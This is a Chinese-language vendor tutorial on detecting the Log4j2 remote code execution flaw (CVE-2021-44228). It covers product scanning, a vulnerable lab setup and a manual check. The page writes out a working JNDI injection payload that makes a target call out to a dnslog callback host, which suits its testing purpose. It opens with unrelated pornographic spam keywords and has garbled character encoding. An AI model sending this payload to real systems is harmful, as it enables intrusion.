亚洲av小说,欧美在线播放一区,免费观看已满十八岁中国电视剧,下面一进一出好爽视频

     

            


            
    
            
        
            數(shù)字經(jīng)濟的安全基石
            
        

        
        
             
            
			
            
            
        
            
    
            

            

            

    
            
          
                                      
                             
            產(chǎn)品技術(shù)
                             
                                                            
                     
            

        
            
            首頁 > 資源中心 > 知識中心 > 產(chǎn)品技術(shù) > 正文

        
            
        
            
            
            
                
            玩轉(zhuǎn)Log4j2遠(yuǎn)程代碼執(zhí)行漏洞，安恒明鑒保姆級教程
            
                 

                
            
                    
                    
            
	
            
		
            
			
            
				
            
					
            
						
            
							
            
								
            
							
            
							
            
								2021.12.10，一個平平無奇的脫發(fā)日，突然老板來了消息。
							
            
 
							
            
								
            
							
            
							
            
								工具發(fā)現(xiàn)
							
            
							
            
								明鑒漏洞掃描系統(tǒng)
							
            
							
            
								安恒明鑒漏掃產(chǎn)品第一時間已具備對該漏洞的掃描與檢測能力，根據(jù)產(chǎn)品通知，將網(wǎng)站掃描策略升級至V1.3.582.534版本，開始做掃描任務(wù)。
							
            
							
            
								
            
							
            
							
            
								1、新建策略模板，單獨選擇Apache Log4j 2遠(yuǎn)程代碼執(zhí)行掃描策略
							
            
 
							
            
								
            
							
            
							
            
								2、新建掃描任務(wù)，選擇對應(yīng)策略模板并提交任務(wù)。
							
            
 
							
            
								
            
							
            
							
            
								3、由于只針對這一個漏洞做應(yīng)急掃描，任務(wù)很快執(zhí)行完成，查看掃描結(jié)果，成功發(fā)現(xiàn)漏洞！
							
            
 
							
            
								
            
							
            
							
            
								明鑒Web應(yīng)用弱點掃描器
							
            
							
            
								將策略庫版本升級至V6.1.117版本，即可具備Apache Log4j 2遠(yuǎn)程代碼執(zhí)行（CVE-2021-44228）漏洞發(fā)現(xiàn)能力。
							
            
							
            
								
            
							
            
							
            
								1、新建任務(wù)填寫掃描目標(biāo)。
							
            
 
							
            
								
            
							
            
							
            
								2、選擇自定義策略，勾選Apache Log4j遠(yuǎn)程代碼執(zhí)行（CVE-2021-44228）掃描策略。
							
            
 
							
            
								
            
							
            
							
            
								3、待任務(wù)執(zhí)行完成后，查看掃描結(jié)果。依舊發(fā)現(xiàn)，從工具中導(dǎo)出報告交給領(lǐng)導(dǎo)就能交差了！
							
            
							
            
								 
							
            
							
            
								
            
							
            
							
            
								順利完成任務(wù)，不過這個波及廣泛的Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞到底是啥，作為小白有必要一探究竟。
							
            
							
            
								
            
							
            
							
            
								環(huán)境搭建
							
            
							
            
								服務(wù)器環(huán)境
							
            
							
            
								操作系統(tǒng)：centos7.7
							
            
							
            
								JAVA環(huán)境：JDK1.8
							
            
							
            
								Centos7.7安裝教程：
							
            
							
            
								https://www.cnblogs.com/weihengblogs/p/13724167.html
							
            
							
            
								JAVA環(huán)境部署教程：
							
            
							
            
								https://www.cnblogs.com/stulzq/p/9286878.html
							
            
							
            
								
            
							
            
							
            
								漏洞環(huán)境獲取
							
            
							
            
								獲取地址：
							
            
							
            
								https://pan.baidu.com/s/12ftEpSFnOjjITGlWNbl84w
							
            
							
            
								提取碼：r5pk?
							
            
							
            
								
            
							
            
							
            
								后臺啟用Log4j2漏洞環(huán)境
							
            
							
              
								
            • 
									
              
								
              • 
							
            
nohupjava-jarspringboot-log4j2-demo-0.0.1-SNAPSHOT.jar& 
							
            
								
            
							
            
							
            
								訪問環(huán)境
							
            
							
            
								漏洞環(huán)境的Web服務(wù)監(jiān)聽8082端口，param參數(shù)會調(diào)用log4j。這時請求一下該參數(shù)，確認(rèn)環(huán)境是否正常。
							
            
							
            
								http://X.X.X.X:8082/test?param=1
							
            
 
							
            
								
            
							
            
							
            
								漏洞驗證
							
            
							
            
								通過dnslog.cn獲取dnslog子域
							
            
 
							
            
								
            
							
            
							
            
								構(gòu)造payload
							
            
							
              
								
            • 
									
              
								
              • 
							
            
${jndi:ldap://fj537p.dnslog.cn/exp}
							
            
								
            
							
            
							
            
								帶入payload請求驗證dns訪問
							
            
							
              
								
            • 
									
              
								
              • 
							
            
http://X.X.X.X:8082/test?param=${jndi:ldap://fj537p.dnslog.cn/exp} 
							
            
								
            
							
            
							
            
								查看dnslog回顯
							
            
 
							
            
								看到這個回顯就證明漏洞存在了。如果沒有工具借助，按此方法來也能夠驗證。但若想快速便捷地大批量進行驗證，還是需要購買專業(yè)漏洞掃描類產(chǎn)品，畢竟下一個高危漏洞爆發(fā)咱也不知道好不好手工驗證。
							
            
						
            
					
            
				
            
			
            
		
            
	
            

            
                    
                
            

            
            
            
            
            
  	    
            
        
            
    
            
 
    


                
                
                    
            	        	        
            與專家在線溝通， 免費獲取專業(yè)解決方案
                    
                    
                         線上咨詢        
                            
                                    聯(lián)系我們            
                             
            咨詢電話：400-6059-110
                        
                    
                            
                        	            	                	                	            	            	                產(chǎn)品試用	                                    
                            
                                即刻預(yù)約免費試用，我們將在24小時內(nèi)聯(lián)系您                
                        
                    
                            
                                    微信咨詢